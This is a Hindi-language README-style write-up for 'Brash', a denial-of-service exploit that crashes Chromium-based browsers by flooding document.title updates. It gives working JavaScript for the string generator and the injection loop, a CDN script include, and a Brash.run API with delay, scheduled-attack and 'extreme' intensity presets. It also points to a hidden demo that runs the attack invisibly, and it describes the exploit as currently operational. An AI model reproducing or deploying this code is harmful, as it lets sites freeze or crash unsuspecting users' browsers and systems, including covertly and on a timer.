
Chromium ब्राउज़र DoS हमला document.title शोषण के माध्यम से

Brash Blink में एक गंभीर कमजोरी है, जो Google के Chromium-आधारित ब्राउज़रों को शक्ति प्रदान करने वाला रेंडरिंग इंजन है। यह किसी भी Chromium ब्राउज़र को 15-60 सेकंड में ढहा सकता है, जो कुछ DOM संचालनों के प्रबंधन में एक आर्किटेक्चरल दोष का शोषण करता है।
आक्रमण वेक्टर document.title API अपडेट पर दर सीमा के पूर्ण अभाव से उत्पन्न होता है। यह प्रति सेकंड लाखों DOM म्यूटेशन इंजेक्ट करने की अनुमति देता है, और इस इंजेक्शन प्रयास के दौरान, यह मुख्य थ्रेड को संतृप्त करता है, ईवेंट लूप को बाधित करता है और इंटरफ़ेस को ढहने का कारण बनता है। प्रभाव महत्वपूर्ण है, यह उच्च CPU संसाधनों की खपत करता है, समग्र सिस्टम प्रदर्शन को ख़राब करता है, और एक साथ चल रही अन्य प्रक्रियाओं को रोक या धीमा कर सकता है। डेस्कटॉप, Android और एम्बेडेड वातावरणों पर Chromium ब्राउज़रों को प्रभावित करके, यह कमजोरी इंटरनेट पर 3 बिलियन से अधिक लोगों को सिस्टम-स्तरीय सेवा अस्वीकार के लिए उजागर करती है।
स्थिति: संचालन में
प्रभावित संस्करण: Chromium ≤ 143.0.7483.0 (परीक्षित: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!ध्यान दें] शोषण वर्तमान में संचालन में है। एक बार जब कमजोरी को पैच कर दिया जाता है, तो यह कोड काम करना बंद कर देगा। फिर भी, इस आर्किटेक्चरल दोष की खोज करना और संपूर्ण शोध, दस्तावेज़ीकरण और डिज़ाइन प्रक्रिया को पूरा करके दुनिया के साथ कुछ प्रभावशाली साझा करना एक अविश्वसनीय रूप से पुरस्कृत यात्रा रही है।
macOS, Windows और Linux पर 11 प्रमुख ब्राउज़रों का परीक्षण किया गया ताकि कमजोरी के प्रभाव को मान्य किया जा सके।
सभी Chromium-आधारित ब्राउज़र कमजोर हैं क्योंकि दोष Blink रेंडरिंग इंजन के मूल में मौजूद है:
Brash Blink रेंडरिंग इंजन में एक मूलभूत आर्किटेक्चरल दोष का शोषण करता है: document.title अपडेट पर थ्रॉटलिंग का अभाव। आक्रमण तीन महत्वपूर्ण चरणों में संचालित होता है:
आक्रमण शुरू करने से पहले 512 वर्णों के 100 अद्वितीय हेक्साडेसिमल स्ट्रिंग उत्पन्न करता है और उन्हें मेमोरी में संग्रहीत करता है।
उन्हें रीयल-टाइम में उत्पन्न करने के बजाय पहले से लोड क्यों करें?
क्योंकि लगातार नए स्ट्रिंग उत्पन्न करने से गणितीय संक्रियाओं पर CPU समय खर्च होता है। वह समय महत्वपूर्ण है—स्ट्रिंग उत्पन्न करने में बिताया गया प्रत्येक मिलीसेकंड वह समय नहीं है जो ब्राउज़र को document.title अपडेट से बमबारी करने में उपयोग किया गया है।
मेमोरी में पहले से 100 स्ट्रिंग लोड होने से:
परिणामस्वरूप, हम प्रति अपडेट अधिकतम मेमोरी खपत के साथ अधिकतम इंजेक्शन गति प्राप्त करते हैं।
// उच्च-एंट्रॉपी अद्वितीय आईडी उत्पन्न करता है
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
शीर्षक अपडेट के कॉन्फ़िगरेबल बर्स्ट निष्पादित करता है। डिफ़ॉल्ट कॉन्फ़िगरेशन (बर्स्ट: 8000, अंतराल: 1ms) के साथ, यह प्रति सेकंड लगभग 24 मिलियन अपडेट इंजेक्ट करने का प्रयास करता है, और इस प्रयास के दौरान ब्राउज़र का पतन शुरू हो जाता है।
// ट्रिपल-अपडेट पैटर्न: रेंडरिंग पाइपलाइन थ्रैशिंग को अधिकतम करता है
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // प्रत्येक बर्स्ट 3 अनुक्रमिक अपडेट करता है
}
this.counter += 0x3;
}
निरंतर अपडेट ब्राउज़र के मुख्य थ्रेड को संतृप्त करते हैं, अन्य ईवेंट के प्रसंस्करण को रोकते हैं:
पतन की समयरेखा:
यह क्यों काम करता है?
Blink प्रत्येक document.title परिवर्तन को मुख्य थ्रेड पर बिना दर सीमा के समकालिक रूप से संसाधित करता है। यह एक अड़चन पैदा करता है जो:
Brash के प्रभाव को पूरी तरह से समझने के लिए, आप विभिन्न संदर्भों में शोषण का अनुभव कर सकते हैं, एक नियंत्रित लाइव डेमो से लेकर आपके स्वयं के कार्यान्वयन तक। प्रत्येक विकल्प अलग-अलग स्तर की सहभागिता और तकनीकी समझ के लिए डिज़ाइन किया गया है।
Brash को क्रिया में देखने का सबसे तेज़ तरीका। पर जाएँ https://brash.run
ग्राफ़िकल इंटरफ़ेस के बिना शोषण देखने के लिए, https://brash.run/hidden-live-demo.html पर जाएँ। यह संस्करण अदृश्य रूप से इंजेक्शन निष्पादित करता है, एक वास्तविक आक्रमण का अनुकरण करता है।
यदि आप अपने स्वयं के वातावरण में डेमो चलाना पसंद करते हैं, तो रिपॉजिटरी में शामिल exploit-demo/ निर्देशिका आपको अनुमति देती है:
बस किसी Chromium ब्राउज़र में exploit-demo/index.html खोलें और शुरू करने से पहले burst और interval मान कॉन्फ़िगर करें।
Brash को अपने स्वयं के सुरक्षा परीक्षण या शोध में एकीकृत करने के लिए, स्क्रिप्ट शामिल करें और आक्रमण कॉन्फ़िगर करें:
स्क्रिप्ट शामिल करें:
<!-- स्थानीय -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API उपयोग:
// 1. तत्काल आक्रमण
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. सेकंड में विलंब (डिफ़ॉल्ट)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 सेकंड
});
// 3. स्ट्रिंग के साथ विलंब
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // या "5000ms" या "3m"
});
// 4. अनुसूचित आक्रमण
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
तीव्रता कॉन्फ़िगरेशन:
// मध्यम: नियंत्रित अवलोकन
// प्रभाव: ब्राउज़र धीरे-धीरे प्रतिक्रिया करता है और क्रमिक गिरावट का निरीक्षण करने की अनुमति देता है
Brash.run({
burstSize: 200,
interval: 1000 // ~600 अपडेट/सेकंड
});
// आक्रामक: तीव्र संतृप्ति
// प्रभाव: टैब 10-20 सेकंड में जम जाते हैं
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 अपडेट/सेकंड
});
// चरम: तत्काल पतन
// प्रभाव: तत्काल फ़्रीज़, 15-30 सेकंड में पूर्ण क्रैश
Brash.run({
burstSize: 8000,
interval: 1 // ~24M अपडेट/सेकंड का प्रयास (प्रयास के दौरान ब्राउज़र ढह जाता है)
});